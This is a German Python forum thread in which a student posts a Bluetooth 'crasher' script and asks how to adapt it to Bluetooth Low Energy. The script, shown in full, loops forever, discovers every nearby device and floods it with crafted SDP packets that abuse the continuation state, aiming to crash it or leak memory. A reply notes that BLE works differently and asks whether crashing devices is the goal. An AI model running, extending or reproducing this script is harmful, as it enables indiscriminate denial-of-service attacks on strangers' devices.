Bluetooth Low Energy Befehle

Wenn du dir nicht sicher bist, in welchem der anderen Foren du die Frage stellen sollst, dann bist du hier im Forum für allgemeine Fragen sicher richtig.
Antworten
Stefan21
User
Beiträge: 1
Registriert: Dienstag 26. April 2022, 13:46

Hallo,

ich bin erst seit heute in diesem Forum angemeldet.
Ich hab schon seit längerem eine Idee, die ich gerne Umsetzen würde,
aber nicht weiß wie ich das machen soll.

Also :

Ich habe ein Script im Internet gefunden, dass eigentlich sehr gut passt. Jedoch sucht der Scanner nicht nach Bluetooth Low Energy (BLE) Geräten, sondern nur nach herkömmlichen BR/EDR Geräten. Mein Ziel ist es ein Script zu haben das automatisch nach Bluetooth Low Energy Geräten sucht und allen Geräten ein Packet zu sendet. Das Script sollte eine Endlos Schleife besitzen.

Ich habe meinen Informatik Lehrer schon gefragt (13. Klasse Leistungskurs) ob er mir helfen könnte, doch er meint ich könnte das selbst rausfinden. Ich weiß echt nicht an wenn ich mich wenden könnte, außer hier her.
Ich hoffe ihr könntet mir helfen, Ansätze zu finden.

Hier das Script:

from pwn import *
import bluetooth

service_long = 0x0100
service_short = 0x0001
n = 10000

p = log.progress('BT Sending')
p.status('Searching...')

def packet(service, continuation_state):
pkt = '\x02\x00\x00'
pkt += str(p16(7 + len(continuation_state)))
pkt += '\x35\x03\x19'
pkt += str(p16(service))
pkt += '\x01\x00'
pkt += continuation_state
return pkt

def crasher(targetAddress, targetName, timeout):
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock.settimeout(timeout)
bluetooth.set_l2cap_mtu(sock, 50)
context.endian = 'big'
p.status('Connecting to %s (%s)', targetName, targetAddress)
try:
sock.connect((targetAddress, 1))
except:
p.status('%s (%s) connection timed out, could be recovering', targetName, targetAddress)
return
p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(50)
stack = ''
try:
for i in range(1, n):
p.status('Sending packet %d' % i)
sock.send(packet(service_short, data[-3:]))
data = sock.recv(50)
stack += data[9:-3]
except KeyboardInterrupt:
p.status('%s (%s) crash interrupted', targetName, targetAddress)
except:
p.status('%s (%s) crash attempt finished', targetName, targetAddress)
finally:
sock.close()
return

def start(scanTime, timeout):
p.status('Searching...')
btDevices = bluetooth.discover_devices(duration = scanTime, lookup_names = True, flush_cache = True)
for name, addr in btDevices: #`name` is actually the BT address, and `addr` is actually the device name!
p.status('Crashing %s (%s)', name, addr)
crasher(name, addr, timeout)
return

while 1:
start(3, 5)

p.success('Done')


Ich hoffe auf baldige antwort.
MfG
Stefan
__deets__
User
Beiträge: 14545
Registriert: Mittwoch 14. Oktober 2015, 14:29

Ich bin mir sicher, du findest auch irgendwo da draussen, eine schnelle Suche spuckt zB https://geektechstuff.com/2020/06/01/py ... es-python/ aus.

Was aber nicht funktionieren wird ist der Rest deines Codes. Weil BLE so nicht funktioniert. Das kennt sogenannte Services, und die haben Characteristics. Da kann man nicht so generisch in einen Socket Daten pumpen.

Welches Ziel hast du denn mit diesem Code? Das das BT Geraet abschmiert?
Antworten